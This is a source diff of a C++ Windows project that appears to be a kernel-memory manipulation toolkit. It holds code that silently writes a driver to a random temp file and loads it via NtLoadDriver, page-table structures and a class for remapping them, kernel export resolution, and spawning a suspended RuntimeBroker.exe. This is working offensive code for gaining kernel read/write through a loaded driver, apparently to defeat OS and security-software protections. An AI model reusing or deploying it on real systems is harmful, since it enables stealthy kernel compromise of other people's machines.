unsigned get_pid() const;
|
||||
|
||||
pml4e operator[](std::uint16_t pml4_idx);
|
||||
pdpte operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx);
|
||||
pde operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
|
||||
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
|
||||
private:
|
||||
|
||||
bool hyperspace_entries(pt_entries& entries, void* addr);
|
||||
void* dirbase;
|
||||
vdm::vdm_ctx* v_ctx;
|
||||
std::uint16_t pml4e_index,
|
||||
pdpte_index,
|
||||
pde_index,
|
||||
pte_index,
|
||||
page_offset;
|
||||
|
||||
std::pair<ppdpte, ppdpte> new_pdpt;
|
||||
std::pair<ppde,ppde> new_pd;
|
||||
std::pair<ppte, ppte> new_pt;
|
||||
unsigned pid;
|
||||
};
|
||||
}
|
||||
|
After Width: | Height: | Size: 72 KiB |
@ -0,0 +1,247 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||
}
|
||||
|
||||
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*) drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" +
|
||||
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||
|
||||
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||
output_file.close();
|
||||
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple<bool, std::string>
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
__forceinline auto unload(const std::string& service_name) -> bool
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
|
||||
if (!unload_drv) return false;
|
||||
|
||||
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
const bool delete_reg = util::delete_service_entry(service_name);
|
||||
return delete_reg && unload_drv;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,193 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
#include <map>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#if _DEBUG
|
||||
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||
#else
|
||||
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||
#endif
|
||||
|
||||
#define PAGE_4KB 0x1000
|
||||
#define MM_COPY_MEMORY_PHYSICAL 0x1
|
||||
#define MM_COPY_MEMORY_VIRTUAL 0x2
|
||||
#define PAGE_IN(addr, size) memset(addr, NULL, size)
|
||||
|
||||
constexpr auto SystemModuleInformation = 11;
|
||||
constexpr auto SystemHandleInformation = 16;
|
||||
constexpr auto SystemExtendedHandleInformation = 64;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
||||
|
||||
typedef struct _MM_COPY_ADDRESS {
|
||||
union {
|
||||
PVOID VirtualAddress;
|
||||
PHYSICAL_ADDRESS PhysicalAddress;
|
||||
};
|
||||
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
|
||||
|
||||
using PEPROCESS = PVOID;
|
||||
|
||||
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
|
||||
HANDLE ProcessId,
|
||||
PEPROCESS* Process
|
||||
);
|
||||
|
||||
using MmCopyMemory = NTSTATUS(__stdcall*)(
|
||||
PVOID,
|
||||
MM_COPY_ADDRESS,
|
||||
SIZE_T,
|
||||
ULONG,
|
||||
PSIZE_T
|
||||
);
|
||||
|
||||
using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
|
||||
__in std::uintptr_t PhysicalAddress
|
||||
);
|
||||
|
||||
using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
|
||||
__in std::uintptr_t BaseAddress
|
||||
);
|
||||
|
||||
// PsGetAllocatedFullProcessImageNameEx...
|
||||
using GET_PROC_NAME = std::uint32_t(*)(PEPROCESS);
|
||||
|
||||
typedef union _virt_addr_t
|
||||
{
|
||||
void* value;
|
||||
struct
|
||||
{
|
||||
std::uint64_t offset : 12;
|
||||
std::uint64_t pt_index : 9;
|
||||
std::uint64_t pd_index : 9;
|
||||
std::uint64_t pdpt_index : 9;
|
||||
std::uint64_t pml4_index : 9;
|
||||
std::uint64_t reserved : 16;
|
||||
};
|
||||
} virt_addr_t, *pvirt_addr_t;
|
||||
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pml4e
|
||||
{
|
||||
std::uint64_t value;
|
||||
struct
|
||||
{
|
||||
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||
std::uint64_t ReadWrite : 1; // If 0, writes not allowed.
|
||||
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
|
||||
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
|
||||
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||
std::uint64_t Ignored1 : 1;
|
||||
std::uint64_t large_page : 1; // Must be 0 for PML4E.
|
||||
std::uint64_t Ignored2 : 4;
|
||||
std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
|
||||
std::uint64_t Reserved : 4;
|
||||
std::uint64_t Ignored3 : 11;
|
||||
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pml4e, * ppml4e;
|
||||
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pdpte
|
||||
{
|
||||
std::uint64_t value;
|
||||
struct
|
||||
{
|
||||
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||
std::uint64_t rw : 1; // If 0, writes not allowed.
|
||||
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD.
|
||||
std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
|
||||
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||
std::uint64_t Ignored1 : 1;
|
||||
std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
|
||||
std::uint64_t Ignored2 : 4;
|
||||
std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
|
||||
std::uint64_t Reserved : 4;
|
||||
std::uint64_t Ignored3 : 11;
|
||||
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pdpte, * ppdpte;
|
||||
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pde
|
||||
{
|
||||
std::uint64_t value;
|
||||
struct
|
||||
{
|
||||
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||
std::uint64_t rw : 1; // If 0, writes not allowed.
|
||||
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT.
|
||||
std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
|
||||
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||
std::uint64_t Ignored1 : 1;
|
||||
std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
|
||||
std::uint64_t Ignored2 : 4;
|
||||
std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
|
||||
std::uint64_t Reserved : 4;
|
||||
std::uint64_t Ignored3 : 11;
|
||||
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pde, * ppde;
|
||||
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
typedef union _pte
|
||||
{
|
||||
std::uint64_t value;
|
||||
struct
|
||||
{
|
||||
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||
std::uint64_t rw : 1; // If 0, writes not allowed.
|
||||
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory.
|
||||
std::uint64_t page_cache : 1; // Determines the memory type used to access the memory.
|
||||
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||
std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to.
|
||||
std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory.
|
||||
std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
|
||||
std::uint64_t Ignored2 : 3;
|
||||
std::uint64_t pfn : 36; // The page frame number of the backing physical page.
|
||||
std::uint64_t reserved : 4;
|
||||
std::uint64_t Ignored3 : 7;
|
||||
std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
|
||||
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||
};
|
||||
} pte, * ppte;
|
||||
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||
|
||||
struct pt_entries
|
||||
{
|
||||
std::pair<ppml4e, pml4e> pml4;
|
||||
std::pair<ppdpte, pdpte> pdpt;
|
||||
std::pair<ppde, pde> pd;
|
||||
std::pair<ppte, pte> pt;
|
||||
};
|
||||
@ -0,0 +1,323 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <string_view>
|
||||
#include <iterator>
|
||||
#include <map>
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <tlhelp32.h>
|
||||
#include <array>
|
||||
#include <algorithm>
|
||||
#include <atomic>
|
||||
|
||||
#include "nt.hpp"
|
||||
|
||||
namespace util
|
||||
{
|
||||
//--- ranges of physical memory
|
||||
inline std::map<std::uintptr_t, std::size_t> pmem_ranges;
|
||||
|
||||
//--- validates the address
|
||||
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||
{
|
||||
for (auto range : pmem_ranges)
|
||||
if (addr >= range.first && addr <= range.first + range.second)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
inline const auto init_ranges = ([&]() -> bool
|
||||
{
|
||||
HKEY h_key;
|
||||
DWORD type, size;
|
||||
LPBYTE data;
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||
data = new BYTE[size];
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||
DWORD count = *(DWORD*)(data + 16);
|
||||
auto pmi = data + 24;
|
||||
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||
{
|
||||
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||
pmi += 20;
|
||||
}
|
||||
delete[] data;
|
||||
RegCloseKey(h_key);
|
||||
return true;
|
||||
})();
|
||||
|
||||
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return {};
|
||||
}
|
||||
|
||||
__forceinline auto start_runtime_broker() -> std::uint32_t
|
||||
{
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
CreateProcessA(
|
||||
NULL,
|
||||
(LPSTR)"C:\\Windows\\System32\\RuntimeBroker.exe",
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
SuspendThread(pi.hThread);
|
||||
return pi.dwProcessId;
|
||||
}
|
||||
|
||||
|
||||
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
|
||||
{
|
||||
if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE)
|
||||
return {};
|
||||
|
||||
PIMAGE_DOS_HEADER dos_headers =
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
|
||||
|
||||
PIMAGE_NT_HEADERS nt_headers =
|
||||
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
|
||||
|
||||
return &nt_headers->FileHeader;
|
||||
}
|
||||
|
||||
__forceinline auto get_pid(const char* proc_name) -> std::uint32_t
|
||||
{
|
||||
PROCESSENTRY32 proc_info;
|
||||
proc_info.dwSize = sizeof(proc_info);
|
||||
|
||||
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
Process32First(proc_snapshot, &proc_info);
|
||||
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
|
||||
while (Process32Next(proc_snapshot, &proc_info))
|
||||
{
|
||||
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(proc_snapshot);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = 0;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
// had to shoot the tires off of "\\SystemRoot\\"
|
||||
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
|
||||
full_path.replace(
|
||||
full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1,
|
||||
std::string(getenv("SYSTEMROOT")).append("\\")
|
||||
);
|
||||
|
||||
auto module_base = LoadLibraryExA(full_path.c_str(),
|
||||
NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
PIMAGE_DOS_HEADER p_idh;
|
||||
PIMAGE_NT_HEADERS p_inh;
|
||||
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||
|
||||
PDWORD addr, name;
|
||||
PWORD ordinal;
|
||||
|
||||
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||
return NULL;
|
||||
|
||||
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||
|
||||
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||
{
|
||||
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||
{
|
||||
if (!rva)
|
||||
{
|
||||
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
else
|
||||
{
|
||||
auto result = (void*)addr[ordinal[i]];
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
__forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void*
|
||||
{
|
||||
PIMAGE_DOS_HEADER p_idh;
|
||||
PIMAGE_NT_HEADERS p_inh;
|
||||
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||
|
||||
PDWORD addr, name;
|
||||
PWORD ordinal;
|
||||
|
||||
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
